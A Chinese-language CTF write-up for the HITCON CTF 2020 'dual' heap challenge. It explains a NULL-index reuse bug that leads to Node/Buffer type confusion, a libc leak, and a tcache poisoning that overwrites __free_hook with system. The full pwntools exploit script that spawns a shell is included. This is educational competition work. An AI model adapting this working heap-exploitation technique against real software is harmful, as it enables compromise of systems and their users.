【CTF】hitconCTF 2020 dual

# 基本流程

  • 通过两个内存区域指向同一个 Pool 中的位置来造成 TypeConfusion,从而伪造 Node 结构
  • 使用伪造的 Node 结构可以实现地址泄漏、任意内存写,从而完成控制流劫持

# 程序描述

程序实现了一个对偶图,可以进行添加节点,对节点内容进行编辑,连接多个节点,去除多个节点之间的关系等多个操作。

程序中申请的 Node 和使用 write_text/write_bin 所创建的作为内容的缓冲区都会存放在 Pool 变量中,该变量是 vector 类型,其中存放着缓冲区的指针。

如上面在 create_node 函数中,将新建的 _node 放入到 Pool 变量中,然后返回索引。程序对 Pool 中的内存的访问都是通过这个索引来完成的。

程序在一开始提供了一个名为 root 的节点,之后每次申请节点时都需要指定其前一个节点的 _id,然后将新申请的节点 Pool 中的索引放入到前一个节点的后继节点列表中(也是一个 vector)。除了在申请时可以指定节点的前驱节点和后继节点之外,还能通过 connect_node 和 disconnect_node 改变两个节点的连接方式(是否连接)。

此外,程序还允许对节点的内容进行写入,可以直接写入字符串(write_text),也可以写入字符串的 base64 编码之后的结果(write_bin)。这些字符串或 base64 编码之后的内容所存放的内存也被放置到 Pool 中,而节点仅持有其对应的索引。

最后,如果调用程序的 gc 功能(即选项 7),则会从 root 节点开始,依次遍历每一个内存,并打上 gc 的 TAG。之后遍历 Pool 这个 vector,对于所有没有打上 gc 的 TAG 的内存都会被释放。

# 程序漏洞

一开始怎么都没发现这个程序的漏洞。后来发现 write_text 和 write_bin 的行为有所不同,于是着重关注了一下,发现在 write_bin 中,将内存添加到 Pool 变量之前,没有检查是否为 NULL,同时添加到 Pool 的函数也没对目标是否为 NULL 进行检测,当在 write_bin 中输入一个空字符串时,该函数会向 Pool 中添加一个 NULL,并持有该索引:

而在将内存添加到 Pool 的过程中,其通过判断 Pool 的每一个索引位置的值是否小于 7 来判断当前索引位置是否为空:

这样就会导致之前的那个索引被复用,从而可以导致 Node 和 Buffer 的 Type Confusion。这样就可以通过修改 Buffer 的内容,来进行构造 Fake Node,从而实现内存泄漏和任意地址写。

# 利用

由于可以伪造 Node,因此利用起来较为方便。首先使用 gc 释放 8 个 Chunk,使得 Chunk 进入 unsorted bin 中,然后通过 write_text 写 8 个字节申请 unsorted bin 中的那个 Chunk,此时该 Chunk 的高 8 个字节仍然持有 main_arena 的地址,再通过 Fake Node,读取这个 Chunk 的内容,即可实现 libc 的泄漏。

write_text(11, 'C' * 0x8)  # 申请 unsorted bin 中的 Chunk

create(0)
_id = create(0)
write_text(1, p64(_id) + p64(0x10) + p64(0) * 3 + p64(0x10) + p64(0xe))
read_text(_id)

之后,继续使用 Fake Node 改写 Node 的 length 字段,从而可以实现内存的越界写,将 tcache 中的 Chunk 的 FD 修改为 __free_hook,劫持到 system 函数,完成控制流劫持:

write_text(1, p64(_id) + p64(0x10) + p64(0) * 3 + p64(0x80) + p64(0x3))  # Fake Chunk
write_text(_id, 'A' * 0x40 + p64(0x0) + p64(0x31) + p64(free_hook))

write_text(14, '/bin/sh\x00' * 0x4)
write_text(15, p64(system) + p64(0x0) * 3)

# Exp

from pwn import *


program = process('./dual')
# context.log_level = 'DEBUG'
# program = remote('13.231.226.137', 9573)


def create(pre_id):
    program.sendlineafter('op>', '1')
    program.sendlineafter('pred_id>', str(pre_id))
    program.recvline()
    return int(program.recvline())


def connect(pre_id, succ_id):
    program.sendlineafter('op>', '2')
    program.sendlineafter('pred_id>', str(pre_id))
    program.sendlineafter('succ_id>', str(succ_id))


def disconnect(pre_id, succ_id):
    program.sendlineafter('op>', '3')
    program.sendlineafter('pred_id>', str(pre_id))
    program.sendlineafter('succ_id>', str(succ_id))


def write_text(_id, content):
    program.sendlineafter('op>', '4')
    program.sendlineafter('node_id>', str(_id))
    program.sendlineafter('text_len>', str(len(content)))
    program.sendafter('text>', content)


def write_bin(_id, content):
    program.sendlineafter('op>', '5')
    program.sendlineafter('node_id>', str(_id))
    program.sendlineafter('bin_len>', str(len(content)))
    program.sendafter('bin>', content)


def read_text(_id):
    program.sendlineafter('op>', '6')
    program.sendlineafter('node_id>', str(_id))


def gc():
    program.sendlineafter('op>', '7')


for i in range(8):
    create(0)

for i in range(1, 8):
    write_text(i, 'A' * 0x80)

for i in range(1, 8):
    write_bin(i, '')

gc()

for i in range(3):
    create(0)

write_text(9, 'A' * 0x10)
write_text(10, 'B' * 0x10)
write_text(11, 'C' * 0x8)

create(0)
_id = create(0)
write_text(1, p64(_id) + p64(0x10) + p64(0) * 3 + p64(0x10) + p64(0xe))
read_text(_id)
program.recv()
leak = u64(program.recv(16)[8:14] + '\x00\x00')
libc_base = leak - 0x1ebc10
free_hook = libc_base + 0x1eeb28
system = libc_base + 0x55410

info("Libc base: " + hex(libc_base))

create(0)  # 14
tmp_id = create(0)  # 15

gc()

write_text(1, p64(_id) + p64(0x10) + p64(0) * 3 + p64(0x80) + p64(0x3))
write_text(_id, 'A' * 0x40 + p64(0x0) + p64(0x31) + p64(free_hook))

write_text(14, '/bin/sh\x00' * 0x4)
write_text(15, p64(system) + p64(0x0) * 3)
context.log_level = 'DEBUG'

program.sendlineafter('op>', '4')
program.sendlineafter('node_id>', str(14))
program.sendlineafter('text_len>', str(0x80))
program.interactive()

pause()

Leave a Reply

Your email address will not be published. Required fields are marked *